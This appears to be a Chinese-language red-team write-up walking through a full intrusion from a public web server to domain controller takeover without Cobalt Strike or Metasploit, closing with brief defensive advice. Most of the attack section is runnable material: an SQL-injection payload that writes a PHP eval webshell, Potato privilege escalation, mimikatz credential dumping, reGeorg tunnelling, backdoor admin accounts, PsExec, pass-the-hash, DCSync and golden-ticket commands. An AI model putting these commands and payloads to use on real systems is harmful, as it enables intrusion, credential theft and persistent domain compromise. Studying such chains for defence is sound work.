红队攻防之从边界突破到漫游内网(无cs和msf)
字数 1444 2025-08-24 20:49:22
红队攻防实战:从边界突破到漫游内网(无CS和MSF)
1. 网络拓扑与攻击概述
本次红队攻防实战的网络拓扑结构如下:
- 边界服务器:暴露在公网的Web服务器
- 内网服务器:10.0.1.4(工作组环境)
- 域内主机:10.0.1.8
- 域控服务器:10.0.1.6(DC.xx.xx)
攻击路径:边界突破 → 内网信息收集 → 横向移动 → 域控攻陷 → 权限维持
2. 边界突破阶段
2.1 SQL注入获取Webshell
-
漏洞探测:
- 访问目标网站:
http://xxx.xxx.xxx/?id=1 - 测试SQL注入:
and 1=1显示正确and 1=2显示错误
- 确认存在SQL注入并获取绝对路径
- 访问目标网站:
-
写入Webshell:
http://xxx.xxx.xxx/?id=1 and 1=2 union select 1,'<?php @eval($_REQUEST[xxx]);?>' into outfile 'x:\\xxx\\xxx\\xxx.php'- 需要写入权限和已知绝对路径
-
验证Webshell:
- 访问:
http://xxx.xxx.xxx/xxx.php?xxx=phpinfo(); - 使用蚁剑连接获取初始shell
- 访问:
2.2 权限提升
-
信息收集:
whoami ipconfig /all route print net config Workstation -
使用Potato提权:
- 上传Potato工具并重命名
- 执行提权命令:
xxx.exe -p "whoami"
-
抓取凭证:
- 上传mimikatz并重命名为x.exe
- 执行:
xxx.exe -p "x.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit >> log.txt" - 检查log.txt获取凭证
3. 内网穿透
3.1 使用reGeorg建立隧道
- 上传reGeorg的tunnel.php并重命名为tu.php
- 访问确认:
http://xx.xx.xx/tu.php - 本地启动reGeorg:
python3 xx.py -k xxx -u http://xx.xx.xx/tu.php- 本地1080端口的流量转发到目标URL
4. 内网横向移动
4.1 拿下边界服务器
- 通过代理连接10.0.1.4
- 创建新账号并提权:
xx.exe -p "net user xxx xxxx /add" xx.exe -p "net localgroup administrators xxxx /add" - 远程桌面连接
4.2 使用mimikatz抓取凭证
- 管理员权限运行mimikatz
- 执行:
privilege::debug sekurlsa::logonpasswords - 获取管理员账户密码
4.3 扫描内网
- 使用nbtscan扫描C段,发现三台存活主机
- 尝试使用相同凭证登录其他主机
4.4 拿下域内主机(10.0.1.8)
- 使用获取的管理员凭证远程连接
- 信息收集:
whoami ipconfig /all # 发现域环境 - 确认DNS服务器(通常为域控)
4.5 提升至system权限
- 上传PsExec.exe
- 执行:
PsExec.exe -i -s -d cmd - 获取域控主机名:DC.xx.xx
5. 域控攻陷
5.1 哈希传递攻击
-
使用mimikatz获取域管理员哈希:
privilege::debug sekurlsa::logonpasswords获取:
- user=administrator
- Domain=xxx
- NTLM=xxxxxxx
-
执行哈希传递:
sekurlsa::pth /user:administrator /domain:"xx.xx" /ntlm:xxxxxxx -
访问域控共享:
dir \\DC.xx.xx\c$
5.2 获取域控权限
-
使用PsExec获取域控cmd:
PsExec.exe \\dc.xx.xx cmd -
创建新管理员账号:
net user xxx xxxx /add net localgroup administrators xxxx /add -
直接登录域控主机10.0.1.6
6. 权限维持
6.1 制作黄金票据
-
在域控上获取krbtgt哈希:
lsadump::dcsync /user:krbtgt -
获取关键值:
- OSID
- Hash_NTLM
-
制作黄金票据:
kerberos::golden /admin:administrator /domain:xx.xx /sid:xx-xx-xx /krbtgt:xxxxxx /ticket:xxx.kiribi -
加载票据:
kerberos::ptt xxx.kiribi -
验证访问:
dir \\DC.xx.xx\c$
7. 工具清单
- SQL注入:手工注入
- Webshell管理:蚁剑
- 提权工具:Potato
- 凭证抓取:mimikatz
- 内网穿透:reGeorg
- 横向移动:PsExec
- 权限维持:黄金票据
8. 防御建议
-
边界防御:
- 修复SQL注入漏洞
- 限制Web目录写入权限
- 禁用不必要的功能(如into outfile)
-
内网防护:
- 实施网络分段
- 禁用NTLM认证
- 监控PsExec等工具的使用
-
域控防护:
- 安装KB2871997补丁
- 监控krbtgt账户变更
- 实施LSA保护
-
日志监控:
- 收集和分析Windows事件日志
- 监控异常账户创建
- 跟踪特权操作
通过本次实战,展示了从边界突破到内网漫游的完整攻击链,强调了红队攻击的常见手法和防御要点。